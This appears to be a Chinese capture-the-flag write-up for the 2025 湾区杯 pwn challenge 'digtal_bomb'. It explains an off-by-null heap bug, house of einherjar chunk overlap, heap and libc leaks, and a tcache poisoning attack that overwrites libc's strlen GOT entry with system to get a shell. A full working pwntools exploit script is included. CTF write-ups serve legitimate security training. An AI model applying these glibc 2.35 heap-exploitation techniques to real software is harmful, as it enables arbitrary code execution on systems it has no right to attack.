2025湾区杯
digtal_bomb
题解参考自大佬:微信公众平台
ida打开,main函数如下:

main函数里首先就是输入最小数和最大数,然后系统随机生成一个在这区间的数,自己再输入一个进行比对,如果一样就爆炸(boom)退出,否则继续,同时区间靠近,当左右区间边界一致时进入主逻辑(菜单函数),经测试,最小值输0,最大值输1,之后猜测1即可。
主逻辑:
四个函数都有,edit只能使用一次。
edit、show和free常规,不存在漏洞。
add存在off by null漏洞:

思路分析
通过off by null我们可以使用house of einherjar来构造堆块合并进而实现uaf的功能。
但是难点在于题目是2.35的libc版本,单纯通过堆块合并无法实现io的利用,所以这里参考师傅的思路,打libc里的strlen_got表。
这里做一个解释,为什么可以修改libc的got表来攻击。
虽然题目程序Full RELRO保护全开,但是libc为Partial RELRO
函数调用流程
当我们程序中调用strlen函数时。
1、首先会调用plt表
2、跳转到plt表项
strlen@plt
的第一条指令是一个间接跳转,跳转到它自己的GOT表中存储的地址。
1 2 3
| strlen@plt: jmp [strlen@got.plt] ; 关键点:跳转到程序GOT表里存的地址 ... ; 后面是延迟绑定的代码,正常情况下只执行一次
|
当延迟绑定结束后,再次调用jmp的就是libc里的strlen真实地址。
3、strlen
函数本身并不是短短几行汇编,它是一个复杂的函数,它内部可能也会调用其他函数。
4、假设在libc的strlen
函数的实现中,某一行代码是 call strlen_internal
。这个strlen_internal
可能是一个内部函数,它的调用也会通过PLT/GOT机制。
5、于是libc的strlen内部就会调用到libc_strlen_got表,而我们修改了libc_strlen_got表地址为system,那么程序最终会执行到system函数。
漏洞利用
1、首先泄露堆地址,由于存在off by null,add会在末尾置\x00,所以没法直接通过add后show的方式泄露堆地址。首先free两个unsorted bin,之后用edit填充fd,通过show打印bk来泄露堆地址。
1 2 3 4 5 6 7 8 9 10 11 12 13
| add(0,0x500) add(1,0x500) add(2,0x500) add(3,0x500) free(0) free(2) add(0,0x500) edit(0,b'a' * 8) show(0) ru('a' * 8) heap_base = u64(p.recv(6).ljust(8,b'\x00')) - 0xcb0 success("heap_base: " + hex(heap_base))
|
2、之后将之前的chunk清空还原初始堆布局,构造overlap chunk,通过unlink的方式来合并chunk。
高版本unlink需要绕过的两个限制:
对于1的fake_size的伪造,可以直接在chunk0 add的时候在bk位置填充。
对于2的伪造,可以在chunk1的fd处写入chunk0的heap_addr,之后在chunk0的fd处写入chunk1的heap_addr即可。

最后free2合并即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| free(0) free(1) free(3)
add(0,0x178) add(1,0x78) add(2,0x4f8) add(3,0x448)
free(1) add(1,0x78,p64(heap_base + 0x290 + 0x10)*2 +b'\x00'* 0x60 + p64(0x1f0)) free(0) add(0,0x178,p64(0)+ p64(0x1f1)+p64(heap_base+ 0x290 + 0x180)* 2) free(2)
|
3、合并之后会出现一个大的unsorted chunk,之后add对应size的chunk,使得unsorted bin的fd和chunk1的fd重合,show(1)即可泄露libc地址。

1 2 3 4 5 6 7
| add(2,0x68) add(4,0xf8) show(1) libc_base = get_addr() - 0x21ace0 system = libc_base + libc.sym['system'] libc_strlen_got = libc_base + 0x21a090 success("libc_base: " + hex(libc_base))
|
4、由于此时chunk0和chunk已经覆盖了chunk2,所以free0再add0即可修改chunk2的fd,从而进行tcache bin attack修改libc_strlen_got为system。
1 2 3 4 5 6 7
| add(5,0x68) free(5) free(2) free(0) add(0,0x178,p64(0) + p64(0x71) + p64(((heap_base + 0x290 + 0x20) >> 12) ^ (libc_strlen_got))) add(2,0x68,b'/bin/sh\x00') add(5,0x68,p64(system) * 2)
|
5、最后通过show函数触发,因为shou函数中puts调用的时候会调用到strlen,所以会执行我们的system。
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104
| from pwn import * from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
def s(a): p.send(a) def sa(a, b): p.sendafter(a, b) def sl(a): p.sendline(a) def sla(a, b): p.sendlineafter(a, b) def r(a): return p.recv(a) def ru(a): return p.recvuntil(a) def debug(): gdb.attach(p) pause() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_sb(libc_base): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
p = process('./pwn') elf = ELF('./pwn') libc = ELF('./libc.so.6') def menu(choice): sla("Your choice >>",str(choice))
def add(index,size,data = 'a'): menu(1) sla("Index >> \n",str(index)) sla("Size >> \n",str(size)) s(data) def free(index): menu(2) sla("Index >> \n",str(index))
def edit(index,data = 'a'): menu(666) sla("Index >> \n",str(index)) s(data)
def show(index): menu(3) sla("Index >> \n",str(index))
sla("Enter min (0-500): ",str(0)) sla("Enter max (0-500): ",str(1)) sla("Your guess :",str(1))
add(0,0x500) add(1,0x500) add(2,0x500) add(3,0x500) free(0) free(2) add(0,0x500) edit(0,b'a' * 8) show(0) ru('a' * 8) heap_base = u64(p.recv(6).ljust(8,b'\x00')) - 0xcb0 success("heap_base: " + hex(heap_base))
free(0) free(1) free(3)
add(0,0x178) add(1,0x78) add(2,0x4f8) add(3,0x448)
free(1) add(1,0x78,p64(heap_base + 0x290 + 0x10)*2 +b'\x00'* 0x60 + p64(0x1f0)) free(0) add(0,0x178,p64(0)+ p64(0x1f1)+p64(heap_base+ 0x290 + 0x180)* 2) free(2)
add(2,0x68) add(4,0xf8)
show(1) libc_base = get_addr() - 0x21ace0 system = libc_base + libc.sym['system'] libc_strlen_got = libc_base + 0x21a090 success("libc_base: " + hex(libc_base))
add(5,0x68) free(5) free(2) free(0) add(0,0x178,p64(0) + p64(0x71) + p64(((heap_base + 0x290 + 0x20) >> 12) ^ (libc_strlen_got))) add(2,0x68,b'/bin/sh\x00') add(5,0x68,p64(system) * 2)
s(b'3\n2\n')
p.interactive()
|